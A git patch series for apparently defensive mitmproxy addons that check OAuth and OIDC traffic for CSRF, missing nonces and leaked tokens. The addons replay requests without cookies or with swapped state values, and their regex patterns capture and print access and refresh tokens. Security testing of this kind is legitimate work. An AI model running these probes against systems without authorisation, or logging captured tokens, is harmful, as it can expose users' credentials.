"https://files.pythonhosted.org/packages/6e/a6/e52a02c05411b9cb02823e6797ef9bbba0bfaf1bb627da1634d44d8af833/watchfiles-1.0.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a056c2f692d65bf1e99c41045e3bdcaea3cb9e6b5a53dcaf60a5f3bd95fc9763", size = 392417, upload-time = "2025-04-08T10:35:37.048Z" }, + { url = "https://files.pythonhosted.org/packages/3f/53/c4af6819770455932144e0109d4854437769672d7ad897e76e8e1673435d/watchfiles-1.0.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9dca99744991fc9850d18015c4f0438865414e50069670f5f7eee08340d8b40", size = 453423, upload-time = "2025-04-08T10:35:38.357Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d1/8e88df58bbbf819b8bc5cfbacd3c79e01b40261cad0fc84d1e1ebd778a07/watchfiles-1.0.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:894342d61d355446d02cd3988a7326af344143eb33a2fd5d38482a92072d9563", size = 458185, upload-time = "2025-04-08T10:35:39.708Z" }, + { url = "https://files.pythonhosted.org/packages/ff/70/fffaa11962dd5429e47e478a18736d4e42bec42404f5ee3b92ef1b87ad60/watchfiles-1.0.5-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ab44e1580924d1ffd7b3938e02716d5ad190441965138b4aa1d1f31ea0877f04", size = 486696, upload-time = "2025-04-08T10:35:41.469Z" }, + { url = "https://files.pythonhosted.org/packages/39/db/723c0328e8b3692d53eb273797d9a08be6ffb1d16f1c0ba2bdbdc2a3852c/watchfiles-1.0.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d6f9367b132078b2ceb8d066ff6c93a970a18c3029cea37bfd7b2d3dd2e5db8f", size = 522327, upload-time = "2025-04-08T10:35:43.289Z" }, + { url = "https://files.pythonhosted.org/packages/cd/05/9fccc43c50c39a76b68343484b9da7b12d42d0859c37c61aec018c967a32/watchfiles-1.0.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f2e55a9b162e06e3f862fb61e399fe9f05d908d019d87bf5b496a04ef18a970a", size = 499741, upload-time = "2025-04-08T10:35:44.574Z" }, + { url = "https://files.pythonhosted.org/packages/23/14/499e90c37fa518976782b10a18b18db9f55ea73ca14641615056f8194bb3/watchfiles-1.0.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0125f91f70e0732a9f8ee01e49515c35d38ba48db507a50c5bdcad9503af5827", size = 453995, upload-time = "2025-04-08T10:35:46.336Z" }, + { url = "https://files.pythonhosted.org/packages/61/d9/f75d6840059320df5adecd2c687fbc18960a7f97b55c300d20f207d48aef/watchfiles-1.0.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:13bb21f8ba3248386337c9fa51c528868e6c34a707f729ab041c846d52a0c69a", size = 629693, upload-time = "2025-04-08T10:35:48.161Z" }, + { url = "https://files.pythonhosted.org/packages/fc/17/180ca383f5061b61406477218c55d66ec118e6c0c51f02d8142895fcf0a9/watchfiles-1.0.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:839ebd0df4a18c5b3c1b890145b5a3f5f64063c2a0d02b13c76d78fe5de34936", size = 624677, upload-time = "2025-04-08T10:35:49.65Z" }, + { url = "https://files.pythonhosted.org/packages/bf/15/714d6ef307f803f236d69ee9d421763707899d6298d9f3183e55e366d9af/watchfiles-1.0.5-cp313-cp313-win32.whl", hash = "sha256:4a8ec1e4e16e2d5bafc9ba82f7aaecfeec990ca7cd27e84fb6f191804ed2fcfc", size = 277804, upload-time = "2025-04-08T10:35:51.093Z" }, + { url = "https://files.pythonhosted.org/packages/a8/b4/c57b99518fadf431f3ef47a610839e46e5f8abf9814f969859d1c65c02c7/watchfiles-1.0.5-cp313-cp313-win_amd64.whl", hash = "sha256:f436601594f15bf406518af922a89dcaab416568edb6f65c4e5bbbad1ea45c11", size = 291087, upload-time = "2025-04-08T10:35:52.458Z" }, +] + [[package]] name = "wcwidth" version = "0.2.13" @@ -859,6 +1225,26 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/fd/84/fd2ba7aafacbad3c4201d395674fc6348826569da3c0937e75505ead3528/wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859", size = 34166, upload-time = "2024-01-06T02:10:55.763Z" }, ] +[[package]] +name = "websockets" +version = "15.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" }, + { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" }, + { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" }, + { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" }, + { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" }, + { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" }, + { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" }, + { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" }, +] + [[package]] name = "werkzeug" version = "3.1.3" From 5fe33564d607a4437b3f4c9c2162f9b7450f0e63 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Sun, 8 Jun 2025 12:39:24 +0900 Subject: [PATCH 03/56] [Update] csrf --- .DS_Store | Bin 0 -> 6148 bytes addon/csrf_check.py | 168 ++++++++++++++++++++++++++++++++++++++++++++ addon/init.py | 19 ++++- lib/report.py | 25 ++++--- main.py | 2 +- 5 files changed, 200 insertions(+), 14 deletions(-) create mode 100644 .DS_Store create mode 100644 addon/csrf_check.py diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..1a71cb0776ca1e4c312bf3287e5b925ef4942c2c GIT binary patch literal 6148 zcmZQzU|@7AO)+F(5MW?n;9!8z45|#6fRTZLfrTN3A(5ekA+apDC@&{JFCCbS3Ltr!nhHD5gvbY4hIDsln96kiqxd~7? z5F1n#GlJ@9h#qiN3~K~1K?W2hpvpnjJ-8}nWPsG bool: + qs = parse_qs(urlparse(uri).query) + qs_keys = [*qs] + + if "client_id" in qs_keys and any(p in qs_keys for p in ( + "redirect_uri", "response_type", "grant_type", "scope", "state", "nonce")): + return True + return False + + def get_header(self, headers: http.Headers, name: str) -> Optional[str]: + # mitmproxy Headers는 case-insensitive + raw = headers.get(name) + if raw is None: + return None + # percent-encoding 디코딩 (예: '%20' → ' ') + return unquote(raw) + + def get_query_param(self, uri: str, param: str) -> Optional[str]: + return parse_qs(urlparse(uri).query).get(param, [None])[0] + + def set_query_param(self, qs: dict, param: str, value: str) -> dict: + new_qs = dict(qs) + new_qs[param] = [value] + return new_qs + + def is_oauth_redirect(self, flow: http.HTTPFlow) -> bool: + code = flow.response.status_code + loc = self.get_header(flow.response.headers, "location") or "" + return 300 <= code < 400 and self.is_oauth_uri(loc) + + def check_nonce_in_request(self, flow: http.HTTPFlow) -> bool: + qs = parse_qs(urlparse(flow.request.url).query) + + for p in self.nonce_params: + val = qs.get(p) # 값이 없으면 None, 있으면 리스트 혹은 단일값 + if val: + return True + return False + + def find_nonce_param(self, uri: str) -> Optional[str]: + qs_keys = parse_qs(urlparse(uri).query).keys() + for p in self.nonce_params: + if p in qs_keys: + return p + return None + + async def fetch_no_cookie(self, flow: http.HTTPFlow) -> httpx.Response: + # HTTPX로 비동기 재요청: 쿠키 제외 + headers = { + k: v for k, v in flow.request.headers.items() + if k.lower() != "cookie" + } + async with httpx.AsyncClient(follow_redirects=False) as cli: + return await cli.request( + method=flow.request.method, + url=flow.request.url, + headers=headers, + content=flow.request.get_content(), + ) + + def check_redirect_nonce(self, flow: http.HTTPFlow) -> Union[List[str], int]: + # ① OAuth URI, ② 요청에 nonce, ③ 리다이렉트 응답 + if not (self.is_oauth_uri(flow.request.url) + and self.check_nonce_in_request(flow) + and self.is_oauth_redirect(flow)): + return 0 + + param = self.find_nonce_param(flow.request.url) + orig_nonce = self.get_query_param(flow.request.url, param) if param else None + loc = self.get_header(flow.response.headers, "location") or "" + resp_nonce = self.get_query_param(loc, param) if param else None + + if resp_nonce is None: + return ["Missing nonce in redirect"] + if orig_nonce != resp_nonce: + return ["Nonce mismatch request↔response"] + + return 0 + + async def check_nonce_reuse(self, flow: http.HTTPFlow) -> Union[int, List[str]]: + # OAuth Request가 아니면서, OAuth 리다이렉트 응답인 경우만 검사 + if self.is_oauth_uri(flow.request.url) or not self.is_oauth_redirect(flow): + return 0 + + + loc0 = self.get_header(flow.response.headers, "location") or "" + param = self.find_nonce_param(loc0) or "state" + qs0 = parse_qs(urlparse(loc0).query) + orig_nonce = qs0.get(param, [None])[0] + + # (1) 쿠키 없는 재요청 → 새 nonce + resp_no_cookie = await self.fetch_no_cookie(flow) + if resp_no_cookie.status_code >= 400: + return 0 + loc1 = resp_no_cookie.headers.get("location", "") + new_nonce = parse_qs(urlparse(loc1).query).get(param, [None])[0] + if new_nonce is None: + return 0 + if new_nonce == orig_nonce: + return ["Nonce reused without cookies"] + + # (2) 두 번의 리다이렉트 비교 + async with httpx.AsyncClient(follow_redirects=False) as cli: + # 원본 쿼리 + req1 = await cli.get(loc0, params=qs0, headers=flow.request.headers) + # nonce 교체 쿼리 + qs0[param] = [new_nonce] + req2 = await cli.get(loc0, params=qs0, headers=flow.request.headers) + + if ( + req1.status_code == req2.status_code + and 200 <= req1.status_code < 400 + and urlparse(req1.headers.get("location", "")).path + == urlparse(req2.headers.get("location", "")).path + ): + return ["Identical redirects on nonce swap → potential CSRF"] + + return 0 + + async def response(self, flow: http.HTTPFlow) -> None: + try: + msgs: List[str] = [] + + # 1) 요청에 nonce 없으면 + if self.is_oauth_uri(flow.request.url) and not self.check_nonce_in_request(flow): + msgs.append("Missing state/nonce in request") + + # 2) 리다이렉트에서 nonce 검사 + r1 = self.check_redirect_nonce(flow) + if r1: + msgs.extend(r1 if isinstance(r1, list) else []) + + # 3) nonce 재사용 검사 + r2 = await self.check_nonce_reuse(flow) + if r2: + msgs.extend(r2 if isinstance(r2, list) else []) + + if msgs: + desc = " | ".join(msgs) + status = "MEDIUM" + report_data = [{ + 'target': target.load(), + 'status': status, + 'title': "CSRF Risk", + 'description': desc, + 'uri': flow.request.url, + }] + save_report(report_data) + print(f"[INFO] CSRF Check: {desc}") + else: + pass + except Exception as e: + print(f"[ERROR] CSRF Check failed: {e}") + return diff --git a/addon/init.py b/addon/init.py index e31fe1e..7419987 100644 --- a/addon/init.py +++ b/addon/init.py @@ -2,7 +2,7 @@ from mitmproxy import http import asyncio from pkce_check import PKCEDowngradeChecker from ScopeDetection import ScopeDetection - +from csrf_check import CsrfChecker class PKCEAddon: def __init__(self): @@ -16,7 +16,21 @@ class PKCEAddon: await self.checker.test(flow) except Exception as e: print(f"[ERROR] Addon failed: {e}") + pass + + +class CsrfAddon: + def __init__(self): + self.checker = CsrfChecker() + async def response(self, flow: http.HTTPFlow): + try: + await self.checker.response(flow) + except Exception as e: + print(f"[ERROR] CSRF Addon failed: {e}") + pass + + class ScopeAddon: def __init__(self): self.checker = ScopeDetection() @@ -35,5 +49,4 @@ class ScopeAddon: except Exception as e: print(f"[ERROR] ScopeDetection failed: {e}") - -addons = [PKCEAddon(), ScopeAddon()] +addons = [PKCEAddon(), ScopeAddon(), CsrfAddon()] diff --git a/lib/report.py b/lib/report.py index e6198a7..40925d0 100644 --- a/lib/report.py +++ b/lib/report.py @@ -11,17 +11,22 @@ def save_report(report_data: List[Dict[str, Any]], file_path: str = 'data/report """ - Save the report data to a CSV file. - - :param report_data: List of dictionaries containing report data. - :param file_path: Path to the CSV file where the report will be saved. + report_data 안의 각 레포트를 한 줄씩 CSV에 추가로 저장합니다. + 파일이 없으면 헤더를 먼저 쓰고, 있으면 레코드만 이어서 씁니다. """ fieldnames = ['target', 'status', 'title', 'description', 'uri'] - - with open(file_path, mode='w', newline='', encoding='utf-8') as csvfile: + file_exists = os.path.exists(file_path) + + with open(file_path, mode='a', newline='', encoding='utf-8') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) - writer.writeheader() + # 파일이 없던 새로 만들 때만 헤더 작성 + if not file_exists: + writer.writeheader() + for row in report_data: - # Replace actual newlines with literal \n strings - escaped_row = {k: str(v).replace('\n', '\\n') if v is not None else v for k, v in row.items()} - writer.writerow(escaped_row) + # None 방지 & 줄바꿈 이스케이프 + escaped = { + k: str(v).replace('\n', '\\n') if v is not None else '' + for k, v in row.items() + } + writer.writerow(escaped) diff --git a/main.py b/main.py index b3a64a8..cd9f6bb 100644 --- a/main.py +++ b/main.py @@ -18,4 +18,4 @@ if __name__ == "__main__": # Run mitmdump proxy run_proxy() finally: - server_process.terminate() + server_process.terminate() \ No newline at end of file From 798d437a80b8f0b4f0867403b67adb80adcaf64b Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Sun, 8 Jun 2025 14:30:12 +0900 Subject: [PATCH 04/56] gitignore update --- .DS_Store | Bin 6148 -> 0 bytes .gitignore | 67 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 66 insertions(+), 1 deletion(-) delete mode 100644 .DS_Store diff --git a/.DS_Store b/.DS_Store deleted file mode 100644 index 1a71cb0776ca1e4c312bf3287e5b925ef4942c2c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6148 zcmZQzU|@7AO)+F(5MW?n;9!8z45|#6fRTZLfrTN3A(5ekA+apDC@&{JFCCbS3Ltr!nhHD5gvbY4hIDsln96kiqxd~7? z5F1n#GlJ@9h#qiN3~K~1K?W2hpvpnjJ-8}nWPsG Date: Sun, 8 Jun 2025 20:56:10 +0900 Subject: [PATCH 05/56] nonceCheck MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit oidc flow인지 확인하고 id token을 디코딩한 후 nonce의 유무를 확인한다 --- addon/init.py | 14 ++++++- addon/nonce_check.py | 88 ++++++++++++++++++++++++++++++++++++++++++++ pyproject.toml | 1 + uv.lock | 11 ++++++ 4 files changed, 113 insertions(+), 1 deletion(-) create mode 100644 addon/nonce_check.py diff --git a/addon/init.py b/addon/init.py index 7419987..1ef743d 100644 --- a/addon/init.py +++ b/addon/init.py @@ -3,6 +3,7 @@ import asyncio from pkce_check import PKCEDowngradeChecker from ScopeDetection import ScopeDetection from csrf_check import CsrfChecker +from nonce_check import NonceChecker class PKCEAddon: def __init__(self): @@ -49,4 +50,15 @@ class ScopeAddon: except Exception as e: print(f"[ERROR] ScopeDetection failed: {e}") -addons = [PKCEAddon(), ScopeAddon(), CsrfAddon()] +class NonceAddon: + def __init__(self): + self.checker = NonceChecker() + + async def response(self, flow: http.HTTPFlow): + try: + await self.checker.response(flow) + except Exception as e: + print(f"[ERROR] NonceAddon failed: {e}") + pass + +addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon()] diff --git a/addon/nonce_check.py b/addon/nonce_check.py new file mode 100644 index 0000000..bb1f379 --- /dev/null +++ b/addon/nonce_check.py @@ -0,0 +1,88 @@ +import jwt +from urllib.parse import urlparse, parse_qs +from typing import Union +import httpx + +import lib.target as target +from lib.report import save_report + +class NonceChecker: + def is_oidc_flow(self, flow) -> bool: + req = flow.request + res = flow.response + url = req.pretty_url + parsed = urlparse(url) + query = parse_qs(parsed.query) + location = res.headers.get("location", "") + content_type = res.headers.get("content-type", "") + + if "/authorize" in url and "response_type" in query and "openid" in query.get("scope", [""])[0]: + return True + + if "application/json" in content_type: + if "id_token" in res.text: + return True + + if res.status_code in [302, 303]: + if isinstance(location, list): + location = location[0] + if "id_token=" in location: + return True + + if "/authorize" in url and "nonce" in query: + return True + + return False + + + def extract_id_token(self, response) -> Union[str, None]: + """ + 응답에서 id_token을 추출하는 함수. + """ + # 1. JSON 응답에 id_token 있음 + try: + if "application/json" in response.headers.get("content-type", ""): + data = response.json() + return data.get("id_token") + except Exception: + pass + + # 2. Location 헤더에서 id_token 파싱 (예: #id_token=...&access_token=...) + location = response.headers.get("location", "") + if location: + if "#" in location: + fragment = location.split("#")[1] + params = parse_qs(fragment) + return params.get("id_token", [None])[0] + elif "?" in location: + query = location.split("?")[1] + params = parse_qs(query) + return params.get("id_token", [None])[0] + + return None + + + def decode_id_token(self, id_token: str) -> dict: + try: + return jwt.decode(id_token, options={"verify_signature": False}) + except Exception as e: + return {} + + + def check_nonce_in_id_token(self, flow, id_token: str) -> bool: + decoded = self.decode_id_token(id_token) + nonce = decoded.get("nonce") + req = flow.request + url = req.pretty_url + if not nonce: + report_data = [{ + 'target': target.load(), + 'status': "CRITICAL", + 'title': "nonce is missing in id_token", + 'description': "Nonce is present in the request but missing in the id_token.", + 'uri': f"Original: {url}\nDecoded ID Token: {decoded}", + }] + save_report(report_data) + return False + else: + return True diff --git a/pyproject.toml b/pyproject.toml index fd7bb79..a12a905 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -10,4 +10,5 @@ dependencies = [ "httpx>=0.28.1", "fastapi[standard]>=0.115.12", "granian>=2.3.2", + "PyJWT>=2.10.1", ] diff --git a/uv.lock b/uv.lock index 8aa500a..02ac69c 100644 --- a/uv.lock +++ b/uv.lock @@ -755,6 +755,7 @@ dependencies = [ { name = "granian" }, { name = "httpx" }, { name = "mitmproxy" }, + { name = "pyjwt" }, ] [package.metadata] @@ -764,6 +765,7 @@ requires-dist = [ { name = "granian", specifier = ">=2.3.2" }, { name = "httpx", specifier = ">=0.28.1" }, { name = "mitmproxy", specifier = ">=12.1.1" }, + { name = "pyjwt", specifier = ">=2.10.1" }, ] [[package]] @@ -916,6 +918,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/8a/0b/9fcc47d19c48b59121088dd6da2488a49d5f72dacf8262e2790a1d2c7d15/pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c", size = 1225293, upload-time = "2025-01-06T17:26:25.553Z" }, ] +[[package]] +name = "pyjwt" +version = "2.10.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/46/bd74733ff231675599650d3e47f361794b22ef3e3770998dda30d3b63726/pyjwt-2.10.1.tar.gz", hash = "sha256:3cc5772eb20009233caf06e9d8a0577824723b44e6648ee0a2aedb6cf9381953", size = 87785, upload-time = "2024-11-28T03:43:29.933Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/61/ad/689f02752eeec26aed679477e80e632ef1b682313be70793d798c1d5fc8f/PyJWT-2.10.1-py3-none-any.whl", hash = "sha256:dcdd193e30abefd5debf142f9adfcdd2b58004e644f25406ffaebd50bd98dacb", size = 22997, upload-time = "2024-11-28T03:43:27.893Z" }, +] + [[package]] name = "pylsqpack" version = "0.3.22" From 34c547c1b1322f0f922e67c19d2524ebe81e6573 Mon Sep 17 00:00:00 2001 From: KMINGON Date: Mon, 9 Jun 2025 20:00:58 +0900 Subject: [PATCH 06/56] =?UTF-8?q?[FEAT]=20:=20AccessToken=20=ED=83=90?= =?UTF-8?q?=EC=A7=80=20=EA=B8=B0=EB=8A=A5=20=EC=9D=B4=EC=8B=9D=20=EB=B0=8F?= =?UTF-8?q?=20=ED=83=90=EC=A7=80=20=EB=B2=94=EC=9C=84=20=ED=99=95=EC=9E=A5?= =?UTF-8?q?(=ED=83=90=EC=A7=80=20=EA=B8=B0=EC=A4=80=20=EC=99=84=ED=99=94?= =?UTF-8?q?=20=EB=B0=8F=20=EA=B8=B0=EC=A4=80=EB=B3=84=20status=EC=B0=A8?= =?UTF-8?q?=EB=93=B1=20=EB=B6=80=EC=97=AC)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/access_token.py | 155 ++++++++++++++++++++++++++++++++++++++++++ addon/init.py | 16 ++++- 2 files changed, 170 insertions(+), 1 deletion(-) create mode 100644 addon/access_token.py diff --git a/addon/access_token.py b/addon/access_token.py new file mode 100644 index 0000000..6f1c8bb --- /dev/null +++ b/addon/access_token.py @@ -0,0 +1,155 @@ +import re +from dataclasses import dataclass, asdict +from typing import List, Dict, Optional, Any + +from mitmproxy.http import HTTPFlow + +import lib.target as target +from lib.report import save_report + +# 결과 리포트 저장용 데이터 클래스 +@dataclass +class TokenLeakResult: + title: str + description: str + uri: str + status: str = "MEDIUM" # 기본 상태 + + def to_report(self, target_value) -> Dict[str, str]: + """리포트 저장 포맷(dict)으로 변환""" + return {"target": target_value, **asdict(self)} + + +# 요청/응답에서 액세스 토큰 노출 여부를 검사하는 스캐너 +class AccessTokenScanner: + + async def scan(self, flow: HTTPFlow) -> None: + """단일 HTTPFlow(request + response)에 대해 요청과 응답을 모두 검사.""" + print(f"[TOKENDEBUG] Request URL: {flow.request.url}") + findings: List[TokenLeakResult] = [] + + findings.extend(await self._scan_request(flow.request)) + findings.extend(await self._scan_response(flow.response, flow.request.url)) + + if findings: + target_value = target.load() + save_report([f.to_report(target_value) for f in findings]) + + # 내부 구현 + async def _scan_request(self, request: Any) -> List[TokenLeakResult]: + results: List[TokenLeakResult] = [] + + print("[TOKENDEBUG] ==scan request==") + # URL 검사 + token_result = self._extract_token(request.url) + if token_result: + token, has_bearer = token_result + results.append( + TokenLeakResult( + title="Token Leak in Request URL", + description=f"요청 URL에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", + uri=request.url, + status="MEDIUM" if has_bearer else "LOW" + ) + ) + + # Body 검사 (텍스트 컨텐츠인 경우) + if request.content: + body_text = request.get_text(strict=False) + token_result = self._extract_token(body_text) + if token_result: + token, has_bearer = token_result + results.append( + TokenLeakResult( + title="Token Leak in Request Body", + description=f"요청 본문에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", + uri=request.url, + status="MEDIUM" if has_bearer else "LOW" + ) + ) + + return results + + async def _scan_response(self, response: Optional[Any], request_url: str) -> List[TokenLeakResult]: + if response is None: + return [] + + results: List[TokenLeakResult] = [] + print("[TOKENDEBUG] ==scan response==") + # Location 헤더 검사 (리다이렉트) + if location_header := response.headers.get("Location"): + token_result = self._extract_token(location_header) + if token_result: + token, has_bearer = token_result + if has_bearer: + results.append( + TokenLeakResult( + title="Token Leak in Redirect URL (Location header)", + description=f"Location 헤더에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", + uri=location_header, + ) + ) + + # Body 검사 (텍스트 컨텐츠인 경우) + if response.content: + body_text = response.get_text(strict=False) + token_result = self._extract_token(body_text) + if token_result: + token, has_bearer = token_result + if has_bearer: + results.append( + TokenLeakResult( + title="Token Leak in Response Body", + description=f"응답 본문에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", + uri=request_url, + ) + ) + + return results + + # 토큰 탐지 키워드드 + _TOKEN_KEYS = [ + "access_token", + "accesstoken", + "refresh_token", + "refreshtoken", + "auth_token", + "session_token", + "secret_token", + "ssoauth", + ] + + # "bearer" 표시가 동시에 존재할 때만 토큰으로 판단하여 false positive를 줄임 + _TOKEN_TYPE_REGEXES = [ + re.compile(r"token[_-]?type[=:]?\s*bearer", re.IGNORECASE), + re.compile(r"authorization\s*[:=]\s*bearer", re.IGNORECASE), + ] + + # 동적 컴파일: key=value / "key": "value" / Bearer + _TOKEN_PATTERNS = ( + [ + re.compile(fr"{key}[=:]\s*([A-Za-z0-9\-._~+/]{{10,}})", re.IGNORECASE) + for key in _TOKEN_KEYS + ] + + [ + re.compile(fr"\"{key}\"\s*:\s*\"([^\"]{{10,}})\"", re.IGNORECASE) + for key in _TOKEN_KEYS + ] + + [re.compile(r"bearer\s+([A-Za-z0-9\-._~+/]{10,})", re.IGNORECASE)] + ) + + def _extract_token(self, text: str) -> Optional[str]: + """텍스트 블록에서 토큰 후보를 추출. Bearer 유형이 동반된 경우에 한정.""" + if not text: + return None + + # Bearer 타입이 같이 존재하는지 미리 확인 (속도 & 정확도↑) + has_bearer = any(rx.search(text) for rx in self._TOKEN_TYPE_REGEXES) + + for pattern in self._TOKEN_PATTERNS: + if (m := pattern.search(text)) and m.group(1): + print(f"[TOKENDEBUG] token: {m.group(1)}") + print(f"[TOKENDEBUG] has_bearer: {has_bearer}") + return m.group(1), has_bearer + print("[TOKENDEBUG] No matched.") + return None diff --git a/addon/init.py b/addon/init.py index 1ef743d..c485248 100644 --- a/addon/init.py +++ b/addon/init.py @@ -4,6 +4,7 @@ from pkce_check import PKCEDowngradeChecker from ScopeDetection import ScopeDetection from csrf_check import CsrfChecker from nonce_check import NonceChecker +from access_token import AccessTokenScanner class PKCEAddon: def __init__(self): @@ -61,4 +62,17 @@ class NonceAddon: print(f"[ERROR] NonceAddon failed: {e}") pass -addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon()] + +class AccessTokenAddon: + def __init__(self): + self.checker = AccessTokenScanner() + + async def response(self, flow: http.HTTPFlow): + try: + await self.checker.scan(flow) + except Exception as e: + print(f"[ERROR] AccessToken Addon failed: {e}") + pass + + +addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), AccessTokenAddon()] From 31ca96f03763033fad7c3d7a42b3a16029882e7e Mon Sep 17 00:00:00 2001 From: imnyang Date: Mon, 9 Jun 2025 22:14:03 +0900 Subject: [PATCH 07/56] =?UTF-8?q?[FEAT]=20:=20CI/CD=20=ED=8C=8C=EC=9D=B4?= 